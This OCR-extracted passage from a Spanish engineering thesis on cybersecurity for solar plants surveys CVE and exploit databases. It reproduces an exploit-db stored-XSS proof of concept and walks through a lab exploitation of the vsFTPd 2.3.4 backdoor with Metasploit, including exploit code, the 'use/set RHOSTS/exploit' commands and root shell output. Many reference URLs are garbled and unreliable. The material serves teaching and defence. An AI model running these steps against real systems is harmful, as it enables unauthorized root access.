W OWL CARQUSEL 259-SIZE 10248808

Figura 50: Detalles de un equipo SCADA con Windows 7 Ultimate

En este equipo, ademas de tener un elevado nimero de puertos abiertos, Shodan nos indica
las vulnerabilidades conocidas para esta version del sistema operativo. Como vemos, la lista
es enorme, lo cual no quiere decir que todas las que aparecen necesariamente estén en el

equipo, todo dependera del nivel de parcheo que tenga instalado el ordenador.

Vemos que todas las vulnerabilidades tienen un codigo tipo CVE que significa “Common
Vulnerability Exposure”, a continuacion, el afio en que se publico dicha vulnerabilidad y por

ultimo un namero serializado que todos los afios se pone a cero.
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/A Vulnerabilities
2438, When the path component of

CVE-2019-0220 A vulnerability was found in Apache HTTP Serw

CVE-2019-0197

CVE-2019-0196

royed after being handled. the Apache HTTP Server pricr

CVE-2018-1302

MULL poil tially toa ¢ freed memory.
aintained by the server m y rin usual

orter and the team could not rep

sarker or prefork, code
executed by an in-

f the parent

CVE-2019-0211

CVE-2017-15710

value

which co

already rese

Figura 51: Vulnerabilidades de un equipo SCADA con Windows 7 Ultimate
Las CVEs se encuentran disponibles, con acceso gratuito, en Internet. La organizacion que
empez0 esto fue Mitre, actualmente la base de datos de CVEs se mantiene en esta direccion

web: https://www.cve.org/.

Las vulnerabilidades conocidas son actualmente mas de 176.000, y el nUmero no para de
crecer. Cada vulnerabilidad contiene informacion detallada de la misma, asi como enlaces a
otros centros de informacion. Si buscamos mas informacion de la primera vulnerabilidad
(CVE-2019-0220) que nos aparecia en el SCADA con Windows 7 Ultimate en la web de
mitre, obtendremos una lista de enlace donde existe datos adicionales, descripcion de la

amenaza, etc.
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CVE-ID

CVE-2019-0220 | Learn more at National Vulnerability Database (NVD)
+ CVSS Severity Rating « Fix Information « Vulnerable Software Versions + SCAP Mappings  CPE Information

Description

A vulnerability was found in Apache HTTP Server 2.4.0 to 2.4.38. When the path component of a request URL contains multiple consecutive slashes ('/'), directives such as LocationMatch and
RewriteRule must account for duplicates in regular expressions while other aspects of the servers processing will implicitly collapse them.

References

Note: References are provided for the convenience of the reader to help distinguish between vulnerabilities. The list is not intended to be complete.

BID:107670
URL:http://www.securityfocus.com/bid/107670

BUGTRAQ:20190403 [SECURITY] [DSA 4422-1] apache2 security update
URL:https://seclists.org/bugtraq/2019/Apr/S

CONFIRM:https: //httpd.apache.org/security/vulnerabilities 24.html
URL:https://httpd.apache.org 'SEcuﬂtv fvulr 24.html

CONFIRM

CONFIRM:https: //support.f5.com/csp/article/K44591 505
ttps://suj rticl ’K44591505
CONFIRM:https: //support.hpe.com/!
URL:https://support.hpe.com/hp:
DEBIAN:DSA-4422
URL:https://www.debian.org/security/2019/dsa-4422
FEDORA:FEDORA-2019-119b14075a
URL:https://lists.fedoraproject.org/arch

?doclocale=en_US&docld=emr_na-hpesbux03350en_us

na-h|

display?docLocale=en_US&docld. bux03950en_us

flist/pack

lists.fedoraproject.org/message/EZRMTEIGZKYFNGIDOTXN3GNEITLVCYU7/

FEDORA:FEDORA-2019-a4ed7400f4

FEDORA:FEDORA-2019-¢f7695b470
0s: /hsts fedoraproject.org/archives/list/package-announce@lists. fedoraproject.org/message/WETXNQWNOLWHVEXNW!

uoct2019-5072832. html
‘www.oracle.com/technet ecurity-advisory/cpuoct2019-507. html
MLIST:[debian-Its-announce] 20190403 [SECURITY] [DLA 1748-1] apache2 security update
URL:https://lists.debian.org/debian-Its-announce/2019/04/msg00008. html

MLIST:[httpd-bugs] 20200325 [Bug 63437] MergeSlashes option breaks protocol specifier in URIs

rk /s

URL:https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ALIR 55 307NRHE GFMIDMUSYQIZOEATIIN/

6YTOSUGDTIWAQGT/

/lists.apache.org/thread.html/r31f46d 1f16ffcafa68058596h21 f6eal6d352290e522690a 1 cdocdd7 @9 3Cbugs httpd.apache.org%3€

« MUST:[httpd-cvs] zmsums svn commit: r1D48742 [4/4] - in /websites/staging/httpd/trunk/content: ./ security, httpd.xm! security, ies_13.html
security 0.htm! security, s_22.html security/vulnerabilities_24..htm

& URL:https://lists apache.org/thread.htm\/s433714f0878781f59d84473d1aSO3d2cc3E2277e100450209231830 @9%3Ccvs.httpd.apache.org%3E

- MUST:[httpd-cvs] 20190815 svn commit: r1048743 [4/4] - in /websites/staging/httpd/trunk/content: ./ security, httpd.xm! security, ies_13.html
security, ies_20.html security ies_22.html security/vulnerabilities_24.html

& URL:https://lists.apache.org/thread.html/56c2e7cc9deblc1 2a843d0dc2 51ea7fd3e7e80293cde02fcd65286ba@%3 Cevs.httpd.apache.org%3E

MUIST:[httpd-cvs] znznn4m svn commit: r1nssses [4/41 -
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ttpd-cvs] 20200401 svn commit: r1058587 [4/4] - In /websites/staging/httpd/trunk/content
secunty/vulnerabmnes 20.html security/vulnerabilities_22.html security/vulnerabilities_24.htmi

in /websites/staging/httpd/trunk/content: ./ security/vulnerabilities-
mi

httpd.xml security/vulnerabilities_13.html

URL:] https /Jlists.a apache org/thread.| htm\/rd18:3c43502&66f9:dcf09f1de233804975b9572b0456ccSSz390b6fgw%3C:vs‘httpdi‘apache‘org%SE
/ security/vulnerabilities-|

httpd.xml security/vulnerabilities_13.html

= URL:https://lists.apache.org/thread.html/re3d27b62 50aa8548b8845d314bb8a350b3df. 55234@%3Ccvs.httpd.apache.org%3E
« MLIST:[httpd-cvs] 20210330 svn commit: r1073139 [1/13] - in /websites/staging/httpd/trunk/content: ./ security/json/
o URL:https://lists.apache.org/thread.htmi/rf64 437704c55f88361b66f12d5h 590! 9%3Ccvs.httpd.apache.org23E

MLIST:[httpd-cvs] 20210330 svn commit: r1073139 [12/13] - in /websites/staging/httpd/trunk/content: ./ security/json/
pache.org/thread.html/r03ee478b3dda3e381fd6189366fa7af97c980d2f602846eef935277d@%3 Cevs.httpd.

MLIST:[httpd-cvs] 20210330 svn commit: r1073140 [4/4] -
security, ies_20.html security ies_22 html security/vulnerabilities_24.html

ttps://lists.apache.org/thread.html/rc998b18880df98bafaade07 1346690c2bc1 444adaalal ead64b93f0a@% 3Ccvs httpd.aj
MLIST:[httpd-cvs] 20210330 svn commit: 11073143 [3/3] - in /websites/staging/httpd/trunk/content: ./ security/
URL:https://list: he.org/thread.html/r06f0d: 9633f36f72f5b1f79cadfda72ede0830b42cf@%3Cevs.httpd.ap
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pache.org%3E
in /websites/staging/httpd/trunk/content: ./ security/cvejsontohtml.py security/vulnerabilities_13.html

nache.org%3E

he.org%3E

MLIST:[httpd-cvs] 20210330 svn commit: r1073149 [1/13] -

URL:https://lists he.org/thread.html/re47330! b4db 556e4dael 0c2a0: 0

in /websites/staging/httpd/trunk/content: ./ security/ security/json/
URL:https://lists.apache.org/thread.html/r3f93cf6dde308d42a9c807784e8102600d0397F57834890708bf6 920 @%3Cevs. httpd.apache.org%3E
<[httpd-cvs] 20210330 svn commit: 11073149 [12/13] - in /websites/staging/httpd/trunk/content: ./ security/ security/json/

%3Ccvs.httpd.apache.org%3E

MLIST:[httpd-cvs] 20210330 svn commit: r1888194 [12/13] - /httpd/site/trunk/content/security/json/

httpd-cvs] 20210603 SvNn commit: r1075360 [3/31 -
0.html security 5_22.html security/vulnerabilities_24.ht

MUS
security

MLIST:[httpd-cvs] 20210606 svn commit: r1075470 [4/4] -

/Jlists .apache.org/thread.htm/rd2fb62 114 2e7fa187cfel2d7137bf66e7234abcbbcd800074c84a538@%3 Cevs httpd.apache.org%3E
in /websites/staging/httpd/trunk/content: ./ security/json/CVE-2021-31618.json security/vulnerabilities_13.html|
mi

sts apache.org/thread.htm\/rdzzs919f555b7ﬁ3093&59343143941:5039133113504144&5b33bcc9@%3ccv5 httpd.apache.org%3E
in /websites/staging/httpd/trunk/content: ./ security/json/CVE-2020-13938.json security/vulnerabilities_13.html|

security, ies_20.htm security ies_22 html secunty/vu\nerabmnes 24.html
+ URL:http: ts.apache.org/thread.html/r76142b8c5119df2178be7t d €8993dfce68d1d@%3Cevs.httpd.apache.org%3E
« MLIST:[0ss-security] 20190401 CVE-2019-0220: URL normalization inconsistincies
« URL:http:/A penwall.com/lists/oss-security/2019/04/02/6
« REDHAT:RHSA-2019:2343
* URL:https://z redhat. ta/RHSA-2019:2343
* REDHAT:RHSA-2015:3436
o URL:https://access.redhat.c [RHSA-2019:3436
* REDHAT:RHSA-2019:4126
« URL:https://access.redhat.com/s ta/RHSA-2019:4126
« REDHAT:RHSA-2020:0250
« URL:https://access.redhat. ta/RHSA-2020:0250
* REDHAT:RHSA-2020:0251
« URL:https://access.redhat.com/errata/RHSA-2020:0251

SUSE:0penSUSE-SU-2019:1190

SUSE:openSUSE-SU-2019: 1258

* URL:http:/;
« UBUNTU:USN-3937-1
« URL:https://usn.ubuntu.com/3937-1/

Figura 52: Enlaces con informacion de la vulnerabilidad CVE-2019-0220 (www. https://www.cve.org)
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Para encontrar realizar busquedas selectivas, existen otras webs que utilizan esta
informacion, para buscar vulnerabilidades por fabricantes, tipos de productos y otras muchas

caracteristicas. Por ejemplo, la web de cvedetails: https://www.cvedetails.com/

cC @ O B htpsy cvedetails.com *  Q Buscar L In @D O 3 & @ a =

. [ |[ search |
CVE Details oo

The ultimate security vulnerability datasource

wwwr.itsecdb.com

‘Enter a CVE id, product, vendor, vulnerability type... HSearch‘

Current CVS$ Score Distribution For All Vulnerabilities

on of all ilities by CVSS Scores Vulnerability Distribution By CVSS Scores
core Number Of Vulnerabilities Percentage|

0.50
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Language) defini http: //www.itsecdb.com allows you to view exact details of OVAL(Open Vulnerability and Assessment Language)

d do to verify a vulnerability. It is fully integrated with cvedetails =0 you will be able to see OVAL defi Iated to 3 product or a CVE entry.

interface to CVE vulnerability data. elated to them. You can view
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CVE vulnerability data are taken from National Vulnerability Database (NVD) xml feeds provided by National Institue of Standards and Technology. Additional data from several sources like explaits from
www. exploit-db.com, vendor statements and additional vendor supplied data, Metasploit modules are also published in addition to NVD CVE data.

| |[eo) Vulnerabilitie: classified by cvedetails.com using keyword matching and cv mbers if possible, but they are mostly based on keywords.
(e.9.: CVE-2009-1234 or

2010-1234 or 20101234)

Unless otherwise stated CVSS scores listed on this site are "CVSS Base Scores” provided in NVD feeds. Vulnerability data are updated daily using NVD feeds.Please visit nvd.nist.gov for more details.

Figura 53: Web de cvedetalils

Otra web muy interesante en este aspecto es la del NIST (National Institute of Standards and

Technology): https://nvd.nist.gov/

El NIST es una agencia nacional de EE. UU. cuya mision fundamental es promover la
innovacion, ciencia, estandares y tecnologias de ciberseguridad. En este caso las CVEs estan
clasificadas por diferentes tipos y caracteristicas de las posibles amenazas. Con ello, el NIST
tiene unas curvas de la evolucion de cada tipo de amenazas, lo que nos permite analizar qué
tipo de vulnerabilidades, segun dicha clasificacién, se atacan mas, esto nos puede ayudar a
saber donde tendremos que priorizar los recursos de los que disponemos para asegurar

nuestra instalacion. En este caso las plantas de generacion de energia solar fotovoltaica.

En la figura siguiente vemos las diferentes curvas clasificadas por tipos de amenazas que ha

definido el NIST, asi como su evolucion a lo largo de los afios. Podemos apreciar, por
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ejemplo, como el tipo CWE-79 definido como: “neutralizacion incorrecta de la entrada
durante la generacion de la pagina web”, sufre un fuerte incremento a partir del afio 2016,

estando actualmente en unas 2.200 amenazas nuevas de este tipo por afio.

C @ O E) https://nvd.nist.gov/general/visualizations/vulnerability-visualizations/cwe: B 1 iy Q, Buscar R

3,500 E CWE-434

8 cwe22 [

CWE-B9

3,000 CWE-20
CWE-119
cwe-a16 [

2500 cwess2 [l

Type: CWE-79 - Improper Neutralization of Input During ~ €V/E-478

Web Page Generation (Cross-site Scripting’) CWE-190
—_
2000 CWE-79 .
CWE-125 .
CWE-400

Lo cwe-260 [l
CWE-863
CWETT
cwe-ra7 [
1,000 h CWE-78.
- — < cweos [

500 =
e —

— e —— — cwe2e7 [l

- — OWE-200

NVD-CWE-NOINFO

i

CWE-362

2012 2013 2014 2015 2018 2017 2018 2019 2020 2021

Figura 54: Tipos de amenazas y nimero de vulnerabilidades nuevas por tipo y afio

(www. https://nvd.nist.gov)

Por ultimo y como enlace con la practica nimero 3, vamos a introducir la web donde se
encuentra una base de datos de exploits mantenida por la empresa Offensive Security, una
empresa de formacion en ciberseguridad IT, asi como de servicios de pruebas de penetracion

de alto nivel: https://www.exploit-db.com

Esta base de datos es compatible con las CVEs, es decir cada exploit tiene el mismo nimero
CVE que la vulnerabilidad que vamos a atacar. La idea es que esto permita mejorar la
capacitacion de las personas que trabajan en ciberseguridad, pero como cualquier
herramienta también tiene su lado oscuro ya que, como veremos en la practica 3, cualquier
persona con unos pocos conocimientos puede utilizar esta informacion para lanzar

ciberataques.
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En la figura siguiente se ve una pagina de algunos de los exploits que mantiene la web de
Offensive Security. A continuacion, se observan detalles de uno de los exploits
seleccionados (showdoc 2.10.3 — Stored Cross-Site Scripting) y las instrucciones detalladas
para realizar este ciberataque. En concreto el cross-site scripting es un tipo de vulnerabilidad
tipico de las aplicaciones Web, puede permitir a una tercera persona inyectar en paginas web
visitadas por el usuario codigo JavaScript o en otro lenguaje similar, el objetivo es el robo

de informacion, el secuestro de sesiones de usuario comprometiendo la seguridad del

navegador utilizado.

v exploit-db.com *  Q Buscr

n o e d % @ a

*;" -
e Verified
Q
i}
E .

2022-05-23
2022-05-23
E.CL 2022-0517
2022-0517
2022-0517
1 2022-0517
2022-05-17

2022-0517

Iy

2022-0512

2022-05-12

2022-05-12

2022-05-12

2022-0511

2022-0511

Has App

[ L R L L R I LI I e

mik1os Blog v.10 - Remote Code Execution (RCE) (Authenticated)

OpenCart v3.x Newsletter Module - Blind SQLi

Showdoc 2.10.3 - Stored Cross-Site Scripting (XSS)

SolarView Compact 6.0 - 0S Command Injection

T-Soft E-Commerce 4 - SQLi (Authenticated)

T-Soft E-=Commerce 4 - ‘UrunAdi’ Stored Cross-Site Scripting (XSS)

Survey Sparrow Enterprise Survey Software 2022 - Stored Cross-Site Scripting (XSS)
SDT-CW3B1 1.1.0 - 0S Command Injection

TLR-2005KSH - Arbitrary File Delete

Royal Event Management System 1.0 - ‘todate’ SQL Injection (Authenticated)
College Management System 1.0 - ‘course_code’ SQL Injection (Authenticated)
F5 BIG-IP 16.0.x - Remote Code Execution (RCE)

TLR-2005KSH - Arbitrary File Upload

Ruijie Reyee Mesh Router - Remote Code Execution (RCE) (Authenticated)

WebApps
WebApps
WebApps
Remote
WebApps
WebApps
WebApps
Remote
WebApps
WebApps
WebApps
Remote
WebApps

Remote

Hardware

Multiple

Muitiple

Multiple

Hardware

Hardware

PHP

PHP

Multiple

Hardware

Hardware

Malte V
Saud Alenazi
Akshay Ravi

Ahmed Alroky
Alperen Ergel
Alperen Ergel
Pankaj Kumar Thakur
Ahmed Alroky
Ahmed Alroky
Eren Gozaydin
Eren Gozaydin
Yesith Alvarez
Ahmed Alroky

Minh Khoa

Figura 55: Lista de exploits mantenidos en la web (https://www.exploit-db.com)
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) QO B8 httpss exploit-db.com/exploits/50941 B s v¢  Q Buscr L DO DN a =
Showdoc 2.10.3 - Stored Cross-Site Scripting (XSS) O
EDB-ID: CVE: Author: Type: Platform: Date:
EDB Verified: x Exploit: & / {} Vulnerable App:
(<] ©

# Exploit Title: Showdoc 2.18.3 - Stored Cross-Site Scripting (XSS)
or: Akshay Ravi

ge: https://github. com/star7th/shondoc
Link: https://github.com/star7th/showdoc/releases/ tag/v2.10.3

# CVE : CVE-2022-0967

Description: Stored XSS via uploading file in .ofd format

1. Create a file with .ofd extension and add X5 Payload inside the file

Filename = "payload.ofd”
payload = "<scriptralert(1)</script>”

2. Login to showdoc v2.10.2 and go to file library
Endpoint = "https://wms.site.con/attachment /index”

3. Upload the payload on file library and click on the check button
4. The XS5 payload will executed once we visited the URL

Figura 56: Detalle de uno de los exploits (https://www.exploit-db.com)

3.6.2.1 Conclusiones méas importantes que sacamos de la realizacion de esta
practica:

Realizar analisis de reconocimiento es una de las primeras fases de un ciberataque. Los
sistemas de escaneo de vulnerabilidades, como NMAP, son herramientas sencillas y muy
utiles. Pero solo sirven para hacer un escaneo antes de que lo haga un hacker (con
herramientas mucho mejores y sofisticadas) y asi podamos intentar tapar los agujeros de
ciberseguridad que encontremos. Existen herramientas y servicios comerciales que hacen

esto de manera regular (analisis de vulnerabilidades), sobre todo en el mundo IT.

La cantidad de herramientas, centros de informacidn, documentacion sobre ciberamenazas
y videos en YouTube que ensefian como realizar ciberataques, pueden ser una ayuda o un
problema mas. Precisamente en la practica 3 vamos a ver como es posible utilizar

herramientas que explotan, de forma automatica miles de vulnerabilidades conocidas.

En esta practica hemos comprobado lo sencillo que es hacer reconocimientos invisibles y

sigilosos, que no alerten al posible atacado, lo que facilita la no deteccion o la deteccion
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tardia de un ciberataque. Todo esto implica la necesidad de disponer de algun tipo de
metodologia o guia de buenas practicas con puntos claros y sencillos que podamos

incorporar en nuestra organizacion para mantener un buen nivel de ciberseguridad.

3.6.3 PRACTICA 3: ATAQUE CON LA HERRAMIENTA METASPLOIT A UN EQUIPO

CON VULNERABILIDADES CONOCIDAS.

Se adjunta el link de la préctica: https://youtu.be/bacEb_dHgml

La herramienta Metasploit es una de las mas usadas en analisis de pentesting e intrusiones.
Dispone de una versién gratuita, mantenida por la comunidad, con limitaciones en cuanto al
numero de “exploits” disponibles. Mientras que la version comercial dispone de mas de
44.000, la version reducida nos permite aprender y conocer el uso de esta, con unos 2.200

“exploits”.

VVamos a suponer que hemos realizado un reconocimiento de la instalacion que queremos
atacar y nos damos cuenta de que uno de los servidores, cuya direccion IP es 192.168.30.133,
tiene “abierto” un servicio FTP (File Transfer Protocol), un protocolo de transferencia de

ficheros.

En la figura siguiente se observa un intento de conexién fallida al servidor ftp, ya que se
desconocenc el nombre de usuario y la password. Se ha probado la combinacién root/root

pero evidentemente no se ha conseguido acceder de forma efectiva.

98


https://youtu.be/bacEb_dHgmI

UNIVERSIDAD PONTIFICIA COMILLAS
ESCUELA TECNICA SUPERIOR DE INGENIERIA (ICAI)
COMILLAS GRADO EN INGENIERIA EN TECNOLOGIAS INDUSTRIALES

UNIVERSIDAD PONTIFICIA

I YR Y-T T CRITERIOS DE CIBERSEGURIDAD

File Actions Edit View Help

Jusr/1ib/win-kex/pulse

Figura 57: Intento de login fallido al servidor ftp

De primeras, llama la atencion que el servidor envia en el proceso de bienvenida su banner
(vsFTPd 2.3.4). Esto facilita un punto de ataque y es una brecha de ciberseguridad.
Utilizando uno de los centros de informacion de vulnerabilidades, por ejemplo cvedetails,

se buscaré si existe alguna vulnerabilidad conocida de este servidor ftp.

= C @ Q8 cvedetails.com B ¥

Kali Linux e KaliTools <« KaliDocs ¥ Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB OffSec

CVE Details [

: . e : View CVE |
The ultimate security vulnerability datasource :l—‘
Y TSR Take a third party risk management course for FREE Ty vvwitsecdb com

Switch to htps/f

Home VsFTPd 2.3.4 [ o |

Browse *
Vendors About 30 results (0.22 seconds)
Products

Vulnerabilities By Date

CVE-2011-2523 : vsftpd 2.3.4 downloaded between 20110630 and ...
www.cvedetails.com > cve > CVE-2011-2523
Reports : ISR P WC Y E-2011-2523  vsfipd 2.3.4 downloaded between 20110630 and 20110703
CVSS Score Report shell on port 6200/tcp.
LCVSS Score Distribution
Search :
Vendor Search
Product Search

Vulnerabilities By Type

e EEEYEWGgwhich opens a

Vsftpd Project Vsftpd version 2.3.4 : Security vulnerabilities
www.cvedetails.com » product_id-62457 > Vsfipd-Project-Vsfipd-2.3.4.htm|
vsftpd 2.3.4 downloaded between 20110630 and 20110703 contains a backdoor which opens a shell on port 6200ftcp. Total number of

Version Search vulnerabilities : 1 Page : ...
Vulnerability Search
By Microsolt References CVE-2011-0762 : The vsf_filename_passes_filter function in Is.c in ...
Top 50 : www.cvedetails.com > cve > CVE-2011-0762
Vendors Mar 4, 2021 ... ELSA-2011:0337: vsitpd security update (Important) ... fip://vsfipd.beasts.org/users/cevansfuntar/vsftpd-
Vendor Cvss Scores 2.3.4/Changelog CONFIRM.
Products
Product Cvss Scores CVE-2011-0762 : The vsf_filename_passes_filter function in Is.c in ...
Versions www.cvedetails.com > cve > CVE-2011-0762
Other : Mar 4, 2021 ... SREASONRES 20110301 vsftpd 2.3.2 remote denial-of-service ... fip:/fvsfipd.beasts.org/users/cevans/untarivsftpd-
Microsoft Bulleting 2.3.4/Changelog CONFIRM.

Runtran Entries

Figura 58: Vulnerabilidades relacionadas con el servidor FTP
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Se detecta una vulnerabilidad muy peligrosa, ya que alguien programé en el servidor una
puerta trasera que nos puede permitir el acceso al mismo, sin necesidad de autenticarnos.
Pulsando en ese mismo enlace, cve details ofrece mucha méas informacion sobre esta

vulnerabilidad.

C @ O 8 cvedetails.com B &% &

OffSec

KaliLinux & KaliTools = KaliDocs & KaliForums e Kali NetHunter Exploit-DB Google Hacking DB

Browse :
Vendors wvsftpd 2.3.4 downloaded between 20110630 and 20110703 contains a backdoor which opens a shell on port 6200#cp.
Products Publish Date : 2019-11-27 Last Update Date : 2021-04-12

Vulnerahilities By Date

Vulnerahilities By Type

Aonart Collapse All Expand All Select SelectaCoapy Seroll o+ Comments External Links
eports : ’

A Search Twitter Search YouTube Search Google

€¥5S Seore Disbution - CVSS Scores & Vulnerability Types
Search :

Vendor Search cvSS Score [[100]

Product Search

Confidentiality Impact Complete (There is total information disclosure, resulting in all system files being revealed.)

Version Search
Vulnerability Search
By Microsoft References
Top 50 :
Vendors

Integrity Impact m protection, resulting in the

Availability Impact ce completely unavailable )

Access Complexity ge or skl is required to

Vendor Cvss Scores
Products Authentication Not required {Authentication is not required to exploit the vulnerability.

Product Cuss Scores Gained Access None
Versions Vulnerability Type(s)
Other : CWEID B
Microsoit Bulletins
Buoirag Entries - Products Affected By CVE-2011-2523
CWE Definitions
About & Contact # ProductType  Vendor Product  Version Update Edition Language
Feedback 1 05 Dehian Debian Linux 8.0 b - o Version Details Vulnerabilties
CVE Help 2 0s Debian Debian Linux 80 * . . Version Details Vulnerabilties

Debian Debian Linux 10.0 * - l Version Details Vulnerabilities

Figura 59: Informacién detallada de la vulnerabilidad

Se ha encontrado una vulnerabilidad severa (nota =10), que precisa bajos conocimientos para
su explotacién y su ejecucién permitiria tomar el control total y absoluto del equipo donde
reside el servidor (192.168.60.133).

Ahora tenemos que comprobar si existe un exploit ya programado para lanzar un ataque
contra el servidor, 0 en su caso recopilar mas informacion técnica que permita programar el
exploit. Para ello, se utilizara una web que ofrece una base de datos de distintos exploits

www.exploit-db.com.

Se busca por el nombre de la vulnerabilidad encontrada y como se ve en la siguiente imagen

existen dos disponibles. Nos interesa el que se puede utilizar en Metasploit.
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0412 &

mnors & B

vsFTPd 2.3.4

Showing 110 2 of 2 entries (fiered from 45032 1odal entries)

Downloads

Certifications Training

Figura 60: Distintos exploits de la vulnerabilidad que nos ofrece la web

Pulsando en la vulnerabili

dad, se obtiene el codigo del programa que va a permitir entrar en

el servidor, ver imagen siguiente.

C @

Kali Linux e Kali Tools

end

def

08 exploit-db.com B

 KaliDocs N Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB OffSec

Automatic',

'DisclosureDate’ => 'Jul 3 2011',
‘DefaultTarget' => @

register options([ oOpt::RPORT(21) ], self.class)

exploit

nsock = self.connect(false, {'RPORT' => 6200}) rescue nil

if nsock
print status("The pert used by the backdoor bind listener is already open”
handle_backdoor (nsock)
return

end

# Connect to the FTP service port first
connect

banner = sock.get once(-1, 38).to_s
print_status("Banner: #{banner.strip}"

sock.put ("USER #{rand_text_alphanumeric(rand(6)+1)}:)\r\n"
resp = sock.get once(-1, 30).to_s
print_status("USER: #{resp.strip}")

if resp =~ 5

Figura 61: Cddigo de programacion del exploit a utilizar

101



COMILLAS

UNIVERSIDAD PONTIFICIA

UNIVERSIDAD PONTIFICIA COMILLAS
ESCUELA TECNICA SUPERIOR DE INGENIERIA (ICAI)
GRADO EN INGENIERIA EN TECNOLOGIAS INDUSTRIALES

CRITERIOS DE CIBERSEGURIDAD

Ya solo queda lanzar la aplicacion Metasploit, buscar el exploit y ejecutarlo contra la
maquina objetivo. Para ello vamos a utilizar Kali, que ademas de Metasploit dispone de

centenares de aplicaciones de hacking. Kali es una distribucion basada en Unix que compila

las mejores herramientas de analisis, reconocimiento, testing, etc.

En la siguiente imagen se muestra como ejecutar Metasploit desde Kali.

S emP o]

2 3 4|l 3

wsftpd 2.3.4 - Backdoo: %

.?’ armitage

> beefstart OB« Google Hacking DB

% msf payload creator
sploit
cial engineering toolkit (root)

sqlmap

B termineter
=6

rescue nil

por bind listener is already

open

A E05 | @ G

Figura 62: Pantalla de ejecucién de Metaesploit desde Kali Linux

Una vez abierto Metasploit, se busca la vulnerabilidad de vsFTPd 2.3.4, utilizando el

comando “search”.

A continuacion, aparece la informacién del exploit y como se debe utilizar. En nuestro

caso el exploit esta localizado en la siguiente ruta de directorios:

exploit/unix/ftp/vsftpd_234 backdoor y para lanzarlo hay que usar el comando “use” y a

continuacion su localizacion en el equipo que esta ejecutando Metasploit.
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File Actions Edit View Help
#48f =

171 auxiliary - 396 post
b16 payloads - 45 encoders - 11 nops
9 evasion

Metasploit tip: Save the current environment with the
command, future console restarts will use this
environment again

msf6 > search vsFTPd 2.3.4
Matching Modules

# Name Disclosure Date Rank Check Description

© exploit/unix/ftp/MSFEpd_234_backdoor 2011-07-03 No VSFTPD v2.3.4 Backdoor Command
Execution

Interact with a module by name or index. For example
g
msf6 > []

Figura 63: Informacidn del exploit que se va a utilizar

Lo lanzamos y vemos las posibles opciones de ejecucién. Como se ve en la siguiente imagen,
Metasploit ofrece dos posibilidades, a través del RHOSTS o del RPORT puerto 21

Shell No. 1

File Actions Edit View Help

Intexact with a module by name or index. For example [S@use exploit/unix/ftp/vsftpd_234_backdoo

> use exploit/unix/ftp/vsftpd_234_backdoo:
No payload configured, defaulting to cmd/unix/interact
msf6 exploit( ) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name Current Setting Required Description

RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Us
ing-Metasploit
RPORT 21 yes The target port (TCP)

Payload options (cmd/unix/interact):

Name Current Setting Required Description

Exploit target:
Name

Automatic

msf6 exploit(

Figura 64: Posibilidades de ejecucion del exploit que ofrece Metaesploit
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Ejecutamos el comando “set RHOSTS” con la direccion IP de la victima y ya estamos dentro.
Hemos accedido a través de la puerta trasera. Por ultimo, comprobamos que tenemos acceso
a todos los directorios del equipo y que hemos entrado con el usuario root, usuario que es

administrador del equipo.

Shell No. 1

==Y
File Actions Edit View Help

Payload options (cmd/unix/interact):
Name Current Setting Required Description

Exploit r' S

Automatic
msf6 exploit( ) > set RHOSTS 192.168.60.133
RHOSTS = 192.168.60.133
msf6 exploit( ) > exploit

-]

192. 21 - Banner: 220 (vsFTPd
192.16
[+] 192. 21 - Backdoor service has been spawned, handling...
[+] 192.168.60.133:21 - UID: uid=0(r (root)
Found shell.
Command shell session 2 opened (172.19.25 5:33207 — 192.168.60.133:6200 ) at 2022-06-22 20:46:44 +0200

Figura 65: Ejecucion del exploit y acceso al servidor

Shell No. 1
File Actions Edit View Help

deluser.conf lvm
depmod.d magic
devscripts.conf magic.mime
dhcp3 mailcap
distcc mailcap.order
dpkg mail ne su-to-rootrc
e2fsck.conf manp. .config sudoers
mediaprm sctl.conf
environment menu og.conf
menu-methods
mime.types
mke2fs.conf tomcat5.5
fdmount.conf modprobe.d ucf.conf
firefox-3.0 modules udev
fonts motd ufw

fstab motd.tail unreal

ftpchroot mtab update-manager
ftpusers mysql updatedb.conf
nanorc vim
vsftpd.conf
w3m
wgetrc
wpa_supplicant
pam.conf xinetd.conf
pam.d xinetd.d
pango zsh_command_not_found
passwd
passwd-

whoami
root

Figura 66: Comprobacion que tenemos acceso como usuario root
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3.6.3.1 Conclusiones mas importantes que sacamos de la realizacion de esta
practica.

En esta préctica, se ha demostrado que dejar servicios abiertos, si no se utilizan, puede ser
muy peligroso. Otro procedimiento muy importante en la ciberseguridad es comprobar las
vulnerabilidades conocidas que pueden tener los equipos y en su caso parchearlas, Si un
parche no fuera posible y la vulnerabilidad fuese critica abria que sustituir el equipo, la

aplicacion o el sistema operativo.

Por ultimo, se ha podido ver en accion una pequefia demostracion de como opera
Metaesploit, lo potente y facil que resulta de utilizar y los graves dafios que puede provocar

no realizar un escaneo de vulnerabilidades antes de que lo haga un hacker.
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Capitulo 4. ESTADO DE LA CUESTION

4.1 MARCO DE TRABAJO DE CIBERSEGURIDAD DEL NIST (NIST
CYBERSECURITY FRAMEWORK)

La ciberseguridad afecta de manera capital a las infraestructuras criticas de todos los paises.
Por ello, para poder mejorar todos los aspectos relativos a la ciberseguridad es necesario

disponer de unas guias y de una metodologia a seguir.

Si analizamos el estado del arte en este tema, no cabe duda de que una de las iniciativas para
lograr esto la lidera el NIST (National Institute of Standards and Technology) de Estados
Unidos, que desde el afio 2013 impulsa un proyecto colaborativo para desarrollar un marco
de trabajo de ciberseguridad que va evolucionando y esta orientado a la reduccion de riesgos.
[14]

Este proyecto ha dado como resultado de unas guias de implementacion, control y gestion

de la ciberseguridad que contienen las mejores préacticas y estandares de la industria.
Los objetivos principales del marco de trabajo de ciberseguridad del NIST son:

v"Identificar estandares de seguridad aplicables a las diferentes infraestructuras
criticas

v No introducir nuevos estandares cuando ya existan otros que cubran los objetivos
planteados

v' Desarrollar guias para aplicar correctamente medidas de ciberseguridad

v Ayudar a los responsables y operadores de infraestructuras criticas a identificar,
inventariar y gestionar riesgos informaticos

v’ Establecer criterios para la definicién de métricas que permitan el control de la
ciberseguridad en su implementacién

v’ Establecer un lenguaje comun para gestionar riesgos de ciberseguridad

v" Identificar areas de mejora que permitan ser gestionadas a través de colaboraciones
futuras con sectores particulares y organizaciones para el desarrollo de estandares
